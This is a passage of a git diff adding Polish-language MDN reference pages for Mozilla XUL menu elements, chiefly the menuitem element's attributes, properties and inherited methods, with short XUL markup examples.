+</dd><dd> Kiedy ustawiamy na <code>true</code>, grippy będzie ukryty. Kiedy ustawienie będzie na <code>false</code>, domyślnie, grippy będzie wyświetlony.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-statusbar">
+
+<dl>
+ <dt>
+ <code id="a-statusbar"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statusbar">statusbar</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ id elementu paska stanu</i>
+ </dd>
+ <dd>
+ Jeśli ustawimy ten atrybut na <code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code> elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/statusbar" title="statusbar">statusbar</a></code>, to etykieta na pasku stanu będzie aktualizowana do <code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code> w momencie, gdy użytkownik przesunie kursor myszy nad pozycję w menu.</dd>
+</dl>
+
+</div>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><div id="p-statusbar">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/statusbar">statusbar</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ id elementu paska stanu</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-statusbar"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statusbar">statusbar</a></code>.</dd>
+</dl></div>
+<table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Elementy
+</dt><dd> <code><a href="/pl/docs/Mozilla/Tech/XUL/menu" title="menu">menu</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/menulist" title="menulist">menulist</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/menuseparator" title="menuseparator">menuseparator</a></code>
+</dd></dl>
+<dl><dt> Interfejsy
+</dt><dd> <a href="pl/NsIAccessibleProvider">nsIAccessibleProvider</a>
+</dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/menuitem/index.html b/files/pl/mozilla/tech/xul/menuitem/index.html
new file mode 100644
index 0000000000..75540fe7d6
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/menuitem/index.html
@@ -0,0 +1,360 @@
+---
+title: menuitem
+slug: Mozilla/Tech/XUL/menuitem
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/menuitem
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Pojedyncza pozycja do wybrania w elemencie <code><a href="/pl/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code>. Działa bardzo podobnie jak <code><a href="/pl/docs/Mozilla/Tech/XUL/button" title="button">button</a></code>, lecz jest ona renderowana przez <code><a href="/pl/docs/Mozilla/Tech/XUL/menu" title="menu">menu</a></code>.
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Proste_paski_menu">kursie XUL</a>.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-acceltext">acceltext</a>, <a href="#a-accessible">accessible</a>, <a href="#a-accesskey">accesskey</a>, <a href="#a-allowevents">allowevents</a>, <a href="#a-autocheck">autocheck</a>, <a href="#a-checked">checked</a>, <a href="#a-command">command</a>, <a href="#a-crop">crop</a>, <a href="#a-description">description</a>, <a href="#a-disabled">disabled</a>, <a href="#a-image">image</a>, <a href="#a-menuitem.key">key</a>, <a href="#a-label">label</a>, <a href="#a-menuitem.name">name</a>, <a href="#a-selected">selected</a>, <a href="#a-tabindex">tabindex</a>, <a href="#a-menuitem.type">type</a>, <a href="#a-validate">validate</a>, <a href="#a-value">value</a>
+</dd></dl>
+<dl><dt> Własności
+</dt><dd> <a href="#p-control">control</a>, <a href="#p-label">label</a>, <a href="#p-selected">selected</a>, <a href="#p-value">value</a>
+</dd></dl>
+<dl><dt> Klasy stylów
+</dt><dd> <a href="#s-menuitem-iconic">menuitem-iconic</a>, <a href="#s-menuitem-non-iconic">menuitem-non-iconic</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad"> Przykład </h3>
+<pre>&lt;menu id="edit-menu" label="Edycja"&gt;
+ &lt;menupopup id="edit-popup"&gt;
+ &lt;menuitem label="Wstecz"/&gt;
+ &lt;menuitem label="Dalej"/&gt;
+ &lt;/menupopup&gt;
+&lt;/menu&gt;
+</pre>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p>
+</p><div id="a-acceltext">
+
+</div>
+<div id="a-accessible">
+
+<dl><dt> <code id="a-accessible"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/accessible">accessible</a></code>
+</dt><dd> Typ: <i><a href="pl/NsIAccessible">nsIAccessible</a></i>
+</dd><dd> Zwraca obiekt dostępności dla elementu.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-accesskey">
+
+<dl><dt> <code id="a-accesskey"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/accesskey">accesskey</a></code></dt>
+<dd> Typ: <i>znak</i>
+</dd><dd> Powinien być ustawiony na literę, która zostanie zastosowana jako klawisz dostępu. Litera ta powinna być jedną z liter, które są wyświetlane w etykiecie tekstowej (<code><code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code></code>) dla elementu. </dd></dl>
+<p><br>
+</p>
+<h4 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h4>
+<div class="float-right"><img alt="grafika:XUL_ref_accesskey_attr.png"></div>
+<pre>&lt;vbox&gt;
+ &lt;label value="Enter Name" accesskey="e" control="myName"/&gt;
+ &lt;textbox id="myName"/&gt;
+ &lt;button label="Cancel" accesskey="n"/&gt;
+ &lt;button label="Ok" accesskey="O"/&gt;
+&lt;/vbox&gt;
+</pre>
+<h4 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h4>
+<p>Atrybut <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>, atrybut <code id="a-acceltext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/acceltext">acceltext</a></code>
+</p> <p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-allowevents">
+
+</div>
+<div id="a-autocheck">
+
+<dl><dt> <code id="a-autoCheck"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/autoCheck">autoCheck</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Gdy atrybut ten ma wartość <code>true</code> lub nie jest ustawiony, stan zaznaczenia przycisku będzie przełączany przy każdym jego naciśnięciu. Gdy wartość została ustawiona na <code>false</code>, stan zaznaczenia musi być dopasowany ręcznie.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-checked">
+
+<dl><dt> <code id="a-checked"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/checked">checked</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Określa, czy przycisk jest zaznaczony. Konieczne jest ustawienie atrybutu <code><code id="a-type"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/type">type</a></code></code> na <code>checkbox</code> lub <code>radio</code>, aby zmiana atrybutu <code>checked</code> mogła odnosić jakiekolwiek skutki.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-command">
+
+<dl><dt> <code id="a-command"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/command">command</a></code>
+</dt><dd> Typ: <i>id elementu</i>
+</dd><dd> Ustawiony na wartość atrybutu <code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code> elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/command" title="command">command</a></code>, obserwowanego przez ten element.
+</dd></dl>
+
+
+</div>
+<div id="a-crop">
+
+<dl><dt> <code id="a-crop"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/crop">crop</a></code>
+</dt><dd> Typ: <i>jedna z poniższych wartości</i>
+</dd><dd> Jeśli etykieta elementu jest zbyt duża by zmieścić się w danym miejscu, to jej tekst zostanie skrócony po stronie określonej przy pomocy atrybutu <code>crop</code>. Wycięty fragment tekstu zostanie zastąpiony wielokropkiem. Jeśli kierunek pudełka jest określony w lewą stronę, to skrócenie tekstu nastąpi w tym samym kierunku (czyli z lewej strony):
+</dd></dl>
+<ul><li> <code>start</code>: Tekst będzie skrócony z lewej strony.
+</li><li> <code>end</code>: Tekst będzie skrócony z prawej strony.
+</li><li> <code>left</code>: <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span> Tekst będzie skrócony z lewej strony.
+</li><li> <code>right</code>: <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span> Tekst będzie skrócony z prawej strony.
+</li><li> <code>center</code>: Tekst będzie skrócony w środku, pokazując oba końce: początek i koniec normalnego tekstu. </li><li> <code>none</code>: Tekst nie będzie skrócony przy zastosowaniu wielokropka. Jednakże, tekst skrócony zostanie po prostu obcięty, jeśli będzie za duży. Strona skrócenia owego tekstu zależy od rozmieszczenia tekstu określonego w arkuszu stylów CSS.
+</li></ul>
+<pre class="eval"> menupopup &gt; menuitem, menupopup &gt; menu { max-width: none; }
+</pre>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-description">
+
+<dl><dt> <code id="a-description"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/description">description</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Tekst opisowy do wyświetlenia w dodatku do tytułu okienka dialogowego.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-disabled">
+
+<dl><dt> <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Określa, czy element jest wyłączony. Jeśli atrybut ten ma wartość <code>true</code>, to element będzie wyłączony. Wyłączone elementy zazwyczaj są wyszarzone. Jeśli element jest wyłączony, nie odpowiada na czynności użytkownika, nie może zostać na niego ustawiony focus, a zdarzenie <i>command</i> nie zostanie wywołane. </dd></dl>
+<div class="float-right"><img alt="grafika:XUL_ref_attr_disabled.png"></div>
+<pre>&lt;!-- Pole wyboru włącza/wyłącza przycisk --&gt;
+&lt;checkbox label="Enable button"
+ onclick="document.getElementById('buttRemove').disabled = this.checked"/&gt;
+&lt;button id="buttRemove" label="Remove All" disabled="true"/&gt;
+</pre>
+</div>
+<div id="a-image">
+
+<dl><dt> <code id="a-image"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/image">image</a></code>
+</dt><dd> Typ: <i>adres URL obrazka</i>
+</dd><dd> Adres URL obrazka do wyświetlenia na elemencie. Jeśli ten atrybut zostanie opuszczony, to żaden obrazek nie zostanie wyświetlony. Pozycja obrazka jest określona przez atrybuty <code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code> i <code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>.
+</dd></dl>
+
+
+</div>
+<div id="a-menuitem.key">
+
+<dl>
+ <dt>
+ <a href="pl/XUL/Atrybut/menuitem.key">key</a></dt>
+ <dd>
+ Typ:
+ <i>
+ id element</i>
+ </dd>
+ <dd>
+ Ustawia <code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code> elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/key" title="key">key</a></code>, którego klawisz skrótu jest wyświetlony w <code><a href="/pl/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code>.</dd>
+</dl>
+</div>
+<div id="a-label">
+
+<dl><dt> <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Etykieta, która zostanie wyświetlona na elemencie. Jeśli zostanie on usunięty, to żaden tekst nie zostanie wyświetlony. </dd></dl>
+
+
+</div>
+<div id="a-menuitem.name">
+
+<dl>
+ <dt>
+ <a href="pl/XUL/Atrybut/menuitem.name">name</a></dt>
+ <dd>
+ Typ:
+ <i>
+ nazwa jako łańcuch znaków</i>
+ </dd>
+ <dd>
+ Opcja <code><a href="/pl/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code> z tą samą nazwą umieszczona w jednej grupie. Tylko jedna pozycja <code><a href="/pl/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code> w każdej grupie opcji, może być zaznaczona w tym samym czasie.</dd>
+</dl>
+
+<p> </p>
+</div>
+<div id="a-selected">
+
+<dl>
+ <dt>
+ <code id="a-selected"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/selected">selected</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Sygnalizuje gdzie element jest zaznaczony lub nie. Ta wartość jest tylko do odczytu. Aby zmienić zaznaczenie, ustaw pozostałe własności <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selectedIndex">selectedIndex</a></span></code> lub <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selectedItem">selectedItem</a></span></code> stanowiące ten element.</dd>
+</dl>
+
+<p> </p>
+</div>
+<div id="a-tabindex">
+
+<dl><dt> <code id="a-tabindex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tabindex">tabindex</a></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Porządek dla przełączania elementów klawiszem Tab. Elementy o wyższym tabindex umieszczane są w dalszej części sekwencji przełączania.
+</dd></dl>
+
+
+</div>
+<div id="a-menuitem.type">
+
+<dl>
+ <dt>
+ <a href="pl/XUL/Atrybut/menuitem.type">type</a></dt>
+ <dd>
+ Typ:
+ <i>
+ jedna z wartości poniżej</i>
+ </dd>
+ <dd>
+ Może zostać użyta do tworzenia pozycji wielokrotnego (pole wyboru) lub pojedynczego wyboru (przycisk opcji) menu.</dd>
+</dl>
+<ul>
+ <li><code>checkbox</code>: <code><a href="/pl/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code> jest zaznaczony. Atrybut <code id="a-checked"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/checked">checked</a></code> określa gdzie pozycja menu jest wybrana, a gdzie nie.</li>
+ <li><code>radio</code>: <code><a href="/pl/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code> staje się częścią grupy przycisków opcji (radio). Inne pozycje menu, które mają tą samą wartość dla ich atrybutu <code id="a-name"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/name">name</a></code> są częścią tej samej grupy <code><a href="/pl/docs/Mozilla/Tech/XUL/radio" title="radio">radio</a></code>. Tylko jedna pozycja menu w tej samej grupie może być zaznaczona.</li>
+</ul>
+<p><br>
+ Więcej informacji na temat dodawania pozycji opcji menu znajduje się w <a href="pl/Kurs_XUL/Dodatkowe_mo%c5%bcliwo%c5%9bci_menu#Adding_Checkmarks_to_Menus">kursie XUL</a></p>
+</div>
+<div id="a-validate">
+
+<dl>
+ <dt>
+ <code id="a-validate"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/validate">validate</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ jedna z poniższych wartości</i>
+ </dd>
+ <dd>
+ Atrybut ten określa, czy obrazek ma być wczytywany z pamięci podręcznej. Może być to przydatne, jeśli obrazki są wczytywane z serwera zdalnego, albo planowana jest częsta ich podmiana. Poniższe wartości są akceptowane; pominięcie tego atrybutu spowoduje zastosowanie wartości domyślnej.</dd>
+</dl>
+<ul>
+ <li><code>always</code>: Obrazek będzie zawsze sprawdzany, czy powinien być wczytany ponownie.</li>
+ <li><code>never</code>: Obrazek będzie wczytywany z pamięci podręcznej, o ile to tylko możliwe.</li>
+</ul>
+</div>
+<div id="a-value">
+
+<dl>
+ <dt>
+ <code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Atrybut łańcucha znaków pozwalający na współpracę wartości danych z elementem. Nie jest stosowany dla określenia jakiegoś konkretnego celu, lecz można go wykorzystać w skrypcie do własnego użytku.</dd>
+</dl>
+
+<p></p>
+</div>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><div id="p-control">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/control">control</a></span></code>&lt;magic name="\"PAGENAME\"/"&gt;&lt;/magic&gt;</dt>
+</dl>
+<p></p>
+<dl>
+ <dd>
+ Typ:
+ <i>
+ id elementu</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-control"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/control">control</a></code>.</dd>
+</dl></div>
+<div id="p-label">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/label">label</a></span></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Pobiera i ustawia wartość atrybutu <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-selected">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selected">selected</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-selected"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/selected">selected</a></code>.</dd>
+</dl></div>
+<div id="p-value">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/value">value</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code>.</dd>
+</dl></div>
+<table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a 